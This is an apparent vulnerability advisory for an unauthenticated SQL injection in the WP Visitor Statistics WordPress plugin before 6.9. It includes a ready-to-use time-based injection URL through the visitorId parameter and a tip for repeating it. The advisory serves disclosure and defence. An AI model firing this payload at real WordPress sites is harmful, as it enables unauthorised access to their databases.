WP Visitor Statistics (Real Time Traffic) < 6.9 - Unauthenticated SQLi

2023-04-2400:00:00

Trần Quốc Trường An

165

wordpress

visitor statistics

real time traffic

unauthenticated

sql injection

0.049 Low

EPSS

Percentile

92.8%

JSON

The plugin does not escape user input which is concatenated to an SQL query, allowing unauthenticated visitors to conduct SQL Injection attacks.

Note: The visitorId parameter's numerical prefix (before the %27) must be different on each try.

https://example.com/?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=132123%27,sleep(10),0,0,0,0,0);--+-

0.049 Low

EPSS

Percentile

92.8%

JSON

Related for WPEX-ID:8F46DF4D-CB80-4D66-846F-85FAF2EA0EC4